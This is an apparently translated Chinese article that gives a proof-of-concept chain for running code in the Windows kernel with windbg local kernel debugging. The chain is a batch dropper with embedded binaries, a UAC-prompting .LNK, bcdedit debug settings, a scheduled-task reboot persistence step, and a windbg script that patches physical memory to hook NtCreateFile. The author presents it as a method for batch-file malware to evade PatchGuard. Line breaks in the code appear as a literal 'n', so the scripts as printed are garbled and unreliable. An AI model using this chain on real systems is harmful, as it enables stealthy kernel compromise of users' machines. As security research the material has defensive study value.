利用WinDbg本地內核調試器攻陷 Windows 內核

概要

在本文中,我將為讀者介紹一種利用windbg本地內核調試技術在Windows內核中執行代碼的方法。當然,準確的說這並不是一個漏洞,因為這裡只用到了windbg的正常功能,同時只使用了一個批處理文件(而不是powerhell或者vbs)和一些帶有Microsoft的簽名的可執行文件(其中一些已經是位於操作系統和windbg中的,我是通過批處理文件轉儲得到的)。

使用該方法,無需在用戶模式下啟動可執行文件(當然某些Microsoft簽名的可執行文件除外)或載入已簽名的驅動程序。因此,PatchGuard和其他保護措施也無法阻止我們。 通過該方法,我們會將代碼直接放入內核內存空間中,然後通過hook一些線程來執行它。正如我們將演示的那樣,由一個簡單的批處理文件組成的惡意軟體將能夠跳轉到內核,通過本地內核調試技術和windbg使其代碼得以在內核中執行。

本文由五個部分組成:

1.將文件轉儲到批處理文件中:將二進位文件嵌入並轉儲到批處理文件中的幾種方法。

2.以管理員身份執行批處理文件:這裡介紹從批處理文件到獲得UAC提示符的方法(不使用powershell、vbs ...)

3.啟用本地內核調試:如何從批處理文件中啟用本地內核調試。

4.使用windbg修補內核內存,從而注入並執行我們的代碼:一種通過批處理文件使用windbg本地內核調試技術來修補內核內存並在內存中執行我們的代碼的方法。

5.最後,我們將把所有這些東西放在一起,打造一個概念驗證式的批處理文件,它適用於Windows 8.1 x64機器,同時,我們還會進行一些相應的測試。

1)將相關文件嵌入到磁碟上的批處理文件中

實際上,可以有很多方法都可以達到該目的,這裡挑幾種加以介紹。

1.1)創建一個.bab(也即.cab):

可以使用Microsoft工具makecab.exe(或Windows的早期版本中的cabarc.exe)來創建CAB文件。這些CAB文件用來存放我們要轉儲、壓縮的文件。 但是我們還會添加一個未壓縮的文件,即我們的第一個文件:我們的批處理文件。

要使用makecab.exe,我們必須給它提供一個.ddf文件的路徑作為參數:

makecab.exe / F makecab.ddfn

該.ddf文件的作用是讓makecab.exe創建CAB文件。 您可以在這裡(msdn.microsoft.com/en-u )找到有關makecab.exe的信息,以及從這裡(msdn.microsoft.com/en-u )找到關於microsoft cabinet格式的信息。

假設我們有一個setup.exe文件(我們想要轉儲到磁碟的可執行文件)和一個setup.bat文件(主批處理文件)。

Setup.bat:

@echo offnmkdir expandednexpand %0 expanded -F:*nexpandedsetup.exenpausengoto:eofn

我們需要創建一個.ddf文件,其作用是讓makecab.exe去創建一個包含setup.bat和setup.exe的CAB:

Makecab.ddf:

.OPTION EXPLICIT ; Generate errors on variable typosn.Set Cabinet=onn.Set Compress=offn.Set InfAttr= ; Turn off read-only, etc. attrsnsetup.bat n.Set Cabinet=onn.Set Compress=onnsetup.exen

將setup.exe、setup.bat和makecab.ddf放在同一個目錄中,然後執行命令:

makecab.exe / F makecab.ddfn

,這樣就能獲得相應的CAB文件了。

CAB文件的內容如下所示:

我們可以看到CAB文件中保存了兩個文件,其中第一個文件是未壓縮的批處理腳本,第二個文件是壓縮過的setup.exe。 如果我們將.cab文件重命名為.bat,並執行該.bat文件,那麼不會出現任何問題。第一個二進位文件的內容(CAB標頭)將被批處理文件解釋器忽略:它會嘗試執行它,但它會顯示錯誤消息,當解釋器找到批處理未壓縮的代碼時,它會執行該代碼,這時不會出現任何問題。這個批處理代碼執行expand.exe,它是作為參數傳遞給我們的.bat文件(也就是CAB文件)的,並且CAB文件被解壓縮到目錄「expanded」中。 之後,就會執行setup.exe。

1.2)轉儲ascii編碼的二進位文件,使用certutil.exe進行解碼:

在本文中,我們將使用工具certutil.exe(相關信息請看這裡technet.microsoft.com/e )將二進位文件編碼為文本,並將其嵌入到批處理文件中:

certutil -encode file.bin file.encn

file.bin是一個二進位文件,其中包含:

0x00 0x11 0x22 0x33 0x44 0x55 0x66 0x77 0x88 0x99 0xaa 0xbb 0xcc 0xdd 0xee 0xff

編碼後,我們得到一個文本文件file.enc:

-----BEGIN CERTIFICATE-----nABEiM0RVZneImaq7zN3u/w==n-----END CERTIFICATE-----n

我們將這個文本嵌入到批處理文件中,即把它轉儲到磁碟,之後可以使用

certutil -decoden

將該文本再次解碼為二進位文件。

批處理文件:

@echo offncall:DumpBlock setup.bat "%temp%file.enc" _____binstart_____ _____binend_____ncertutil -decode "%temp%file.enc" "%temp%file.bin"ngoto:eofn:DumpBlockn@echo offnSetLocal EnableDelayedExpansionnecho. %~1 %~2 %~3 %~4nset SrcFile=%~1nset DestFile=%~2nset StartBlockMark=%~3nset EndBlockMark=%~4nset Flag=0ndel /F %DestFile%nfor /f "tokens=* delims=" %%a in (type %SrcFile%) do (nif !Flag! EQU 2 (echo "set Flag=1"&set Flag=1)nif /i "%StartBlockMark%" EQU "%%a" (echo "set Flag=2"&set Flag=2) nif /i "%EndBlockMark%" EQU "%%a" (echo "set Flag=0"&set Flag=0) nif !Flag! EQU 1 (echo %%a >> %DestFile%)n)ngoto:eofn@echo offnif "%~1"=="" (call :usage) else call :%*nexit /bn_____binstart_____n-----BEGIN CERTIFICATE-----nABEiM0RVZneImaq7zN3u/w==n-----END CERTIFICATE-----n_____binend_____n

正如我們在前面的代碼中看到的,其有一個名為DumpBlock的函數。該函數會接收一個文件的路徑和兩個標籤,將其作為批處理文件的參數,然後將這兩個標籤之間的內容轉儲到文件中。將文本轉儲到文件(file.enc)後,調用certutil將其解碼為二進位文件:

certutil -decode file.enc file.binn

通過這種方式,我們可以將文件(可執行文件或任何類型的文件)嵌入到批處理文件中,並在腳本執行時將其轉儲。

2)以管理員身份執行批處理文件

如果您使用的是PowerShell或Vbs,可以有多種方式讓UAC提示用戶以管理員身份執行我們的應用程序。但是,這裡我只想使用批處理語法。

在通過批處理文件顯示UAC提示方面,我決定另闢蹊徑:轉儲指向我自己的批處理文件的.LNK文件。這個.LNK相當於勾選了「Run as administrator」選項。這樣,當.LNK重新啟動我們的批處理文件時,如果我們沒有管理員許可權,將顯示UAC提示符。

為了創建.LNK,我們可以創建一個簡單的Windows鏈接,並設置「Run as administrator」選項:

如果我們將.lnk與另外一個沒設置「以管理員身份」選項的.lnk進行比較,就會發現只有一個標誌發生了變化:

為了創建自己的.LNK,還必須完成一項工作。當我們創建它時,Windows會將絕對路徑插入目標文件中,但LNK文件只能使用相對路徑和環境變數。 因此,我們需要使用十六進位編輯器將絕對路徑改為相對路徑:.setup.bat,或改為含有環境變數的路徑:%temp% setup.bat:

最後一步是將這個.lnk嵌入到批處理文件中,並使用第一部分中暴露的方法來轉儲它。 當.LNK文件就緒後,我們就可以將我們的bat複製到%temp% setu_.bat,然後我們通過.lnk文件來執行它們了:

批處理文件:

if "%CD%" == "%systemroot%system32" (nif "%~dp0" == "%TEMP%" (nrem HERE WE ARE BEING EXECUTED AS ADMIN ngoto:eofn)n)ncopy setup.bat "%temp%setu_.bat"nstart %temp%promptUAC.lnkn

3)啟用本地內核調試

為了啟用本地內核調試,需要重新啟動計算機。當然,惡意軟體在使用這個簡單的代碼通過批處理文件來啟用本地內核調試和重新啟動通常不會有太大的問題:

批處理文件:

IF [%1]==[/DOONLOGON] GOTO ONLOGONnbcdedit /debug onnbcdedit /dbgsettings localnschtasks /create /sc onlogon /tn setup /rl highest /tr "%0 /DOONLOGON"nshutdown /r /fnGOTO DONEn:ONLOGONnrem here local debugging is enabled and we run as administratorn:DONEn

您可以看到腳本是如何啟用本地內核調試的,它會安裝一個在重新啟動後將要執行的任務,並重新啟動計算機。

4)使用windbg修補內核內存,以內核模式注入和執行我們的代碼

通過前面部分中介紹的方法,我們已經將所有需要的文件轉儲到了磁碟,並且已經可以讓UAC提示用戶獲取管理員許可權,同時我們也啟用了內核本地調試。接下來的最後一步,是修補Windows內核內存,將我們的代碼放到內核中,並在內核中掛接一些函數來執行我們的代碼。

為此,我們將使用-kl選項(內核本地調試)和-c選項啟動windbg,以啟動我們的windbg腳本:

start /min windbg -y "SRV*c:symbols*http://msdl.microsoft.com/download/symbols" -c"$$><jmpkernel_hookcreatefile.wdbg;q" -kln

而最重要的部分是windbg腳本jmpkernel_hookcreatefile.wdbg。您可以在下一段看到該腳本中的相關代碼。

在這個腳本中,一些地址是我的目標測試機器,這裡使用了硬編碼方式。目標機器是Windows 8.1 Pro N x64,ntoskrnl版本為6.3.9600.17668。當然,要想適應其他機器,或編寫沒有硬編碼地址的通用腳本也並非難事。無論如何,由於這只是一個PoC,所以我用一些硬編碼的地址來完成測試,以防止代碼變得過於複雜。

對於這個腳本,重點在於,通過windbg本地調試器修補內核內存的關鍵是使用物理地址來寫內存。本地內核調試器不運行我們修改一些內核內存地址(例如,如果我們要修補NtCreateFile函數,它是不允許的)。然而,我們可以將目標虛擬地址轉換為物理地址,並將我們的修改寫入物理地址。

將VA轉換為物理地址的命令是!vtop。寫入物理地址的命令是!eb。

此外,我們還得從批處理文件中轉儲windbg。當然,嵌入完整的windbg安裝太過於瘋狂。但是,我們這裡只需要用到幾個命令而已,所以我們只需要嵌入一個windbg二進位文件的子集就行了:

dbgeng.dllndbghelp.dllnkdexts.dllnkext.dllnsymsrv.dllnsymsrv.yesnwindbg.exen

我們將這些文件嵌入到批處理文件中,然後將它們一起轉儲到腳本文件中,最後使用腳本執行windbg。 執行腳本後,nt!NtCreateFile函數將被掛接。 我們已經使用nt!KeBugCheckEx的內存空間保存了自己的代碼,為了調用我們存放在nt!KeBugCheckEx中的代碼,可以掛接一個針對nt!NtCreateFile的調用。通過我們存放在nt!KeBugCheckEx中的代碼,可以跳轉到調用的原始目的地,所以函數被掛接,以便執行我們的代碼,但系統不會出現任何問題。

Jmpkernel_hookcreatefile.wdbg:n.load kext.dlln.load kdexts.dlln.blockn{n$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$n$$ Get the Physical Adress of NtCreateFilen$$n$$ get the address of nt!NtCreateFile n? nt!NtCreateFilen$$ @$exp contains the address of NtCreateFile, so we create a alias for itnaS /x va @$expn n.blockn{n$$ get the physical address of NtCreateFilen!vtop 0 van$$ parse the results of vtopnr @$t1 = 0n.foreach (tok { !vtop 0 va })n{ n.catch n{ n.printf "tok"n.printf "n"n.if(@$t1==1)n{ nr @$t1 = ${tok}n.breakn}n n$$ in the results of vtop, when we find "phys" token, after it, it comes the physical addressn.if($spat("${tok}","phys"))n{ nr @$t1 = 1n}n}n}n} nad van n$$ after parsing vtop results we keep the physical address in @$t1, we create a aliasnaS /x phaNtCreateFile @$t1n n$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$n$$ Get the Physical Adress of KeBugCheckExn$$n$$ get the address of nt!KeBugCheckEx n? nt!KeBugCheckExn$$ @$exp contains the address of KeBugCheckEx, so we create a alias for itnaS /x va @$expn n.blockn{n$$ get the physical address of KeBugCheckExn!vtop 0 van$$ parse the results of vtopnr @$t1 = 0n.foreach (tok { !vtop 0 va })n{ n.catch n{ n.printf "tok"n.printf "n"n.if(@$t1==1)n{ nr @$t1 = ${tok}n.breakn}n n$$ in the results of vtop, when we find "phys" token, after it, it comes the physical addressn.if($spat("${tok}","phys"))n{ nr @$t1 = 1n}n}n}n} nad van n$$ after parsing vtop results we keep the physical address in @$t1, we create a aliasnaS /x phaKeBugCheckEx @$t1n n n$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$n$$ Write our code to KeBugCheckEx (we will use the memory space of this function coz it wont be called unlessn$$ the system crashes)n$$n n.blockn{n.printf "nt!NtCreateFile physical address %pn", phaNtCreateFilen.printf "nt!NtKeyBugCheck physical address %pn", phaKeBugCheckExn n$$ now we are going to write our code to KeBugCheckEx. Its only some simple nops operations for the PoC, n$$ but we could find enough space to write an entire rootkitn n!eb phaKeBugCheckEx 90 90 90 90 90 90 90 90 n$$ Now lets see the code of nt!NtCreateFile in the target system (win 8.1 x64 ntoskrnl version is 6.3.9600.17668)n$$n$$ nt!NtCreateFile:n$$ fffff803f846020 4c8bdc mov r11,rspn$$ fffff803f846023 4881ec88000000 sub rsp,88hn$$ fffff803f84602a 33c0 xor eax,eaxn$$ fffff803f84602c 498943f0 mov qword ptr [r11-10h],raxn$$ fffff803f846030 c744247020000000 mov dword ptr [rsp+70h],20hn$$ fffff803f846038 89442468 mov dword ptr [rsp+68h],eaxn$$ fffff803f84603c 498943d8 mov qword ptr [r11-28h],raxn$$ fffff803f846040 89442458 mov dword ptr [rsp+58h],eaxn$$ fffff803f846044 8b8424e0000000 mov eax,dword ptr [rsp+0E0h]n$$ fffff803f84604b 89442450 mov dword ptr [rsp+50h],eaxn$$ fffff803f84604f 488b8424d8000000 mov rax,qword ptr [rsp+0D8h]n$$ fffff803f846057 498943c0 mov qword ptr [r11-40h],raxn$$ fffff803f84605b 8b8424d0000000 mov eax,dword ptr [rsp+0D0h]n$$ fffff803f846062 89442440 mov dword ptr [rsp+40h],eaxn$$ fffff803f846066 8b8424c8000000 mov eax,dword ptr [rsp+0C8h]n$$ fffff803f84606d 89442438 mov dword ptr [rsp+38h],eaxn$$ fffff803f846071 8b8424c0000000 mov eax,dword ptr [rsp+0C0h]n$$ fffff803f846078 89442430 mov dword ptr [rsp+30h],eaxn$$ fffff803f84607c 8b8424b8000000 mov eax,dword ptr [rsp+0B8h]n$$ fffff803f846083 89442428 mov dword ptr [rsp+28h],eaxn$$ fffff803f846087 488b8424b0000000 mov rax,qword ptr [rsp+0B0h]n$$ fffff803f84608f 49894398 mov qword ptr [r11-68h],raxn$$ fffff803f846093 e808000000 call nt!IopCreateFile (fffff803ef8460a0) <-------------------------n n$$ to do it easier, we will hook the call to nt!IopCreateFile. This call is at nt!NtCreateFile + 0x73n n$$ in the code that we have written in KeBugCheck, we have to put a jmp to continue the execution n$$ at nt!IopCreateFile (after the 90 90 90 90 90 90 90 90 that we wrote). Remember that E9 instruction n$$ is a relative jump and the value that the instruction admits as parameter is the difference of: n$$ target_address - (E9_ins_address+5).n$$ We need to have precalculated (nt!IopCreateFile)-(nt!KeBugCheckEx+8+5) = 0x002eb6f3 because !eb n$$ needs that we pass immediate valuesn nr $t1 = phaKeBugCheckExnr $t1 = $t1 + 8n!eb $t1 E9 f3 b6 2e 00n$$ finally hook the call nt!IopCreateFile, it will be executed the next time that NtCreateFile was called and itn$$ will jmp to our code. We need precalculate the relative jump value: (nt!KeBugCheckEx-(nt!NtCreateFile+0x73+5)) = 0xffd14908n$$ because !eb needs we pass inmediate values (i have to research to avoid needing to have these values precalculated)n nr $t1 = phaNtCreateFilenr $t1 = $t1 + 0x74n!eb $t1 08 49 d1 ffn}nad *n}n

5)概念驗證代碼

這裡,我們已經通過前面部分中介紹的所有方法創建了一個概念驗證代碼。您可以通過下面的鏈接下載概念驗證代碼和相應的二進位文件:

github.com/vallejocc/pa

您可以通過下面的視頻來觀看概念驗證代碼的運行情況:


推薦閱讀:

TAG:WinDbg | Windows内核 | 调试器 |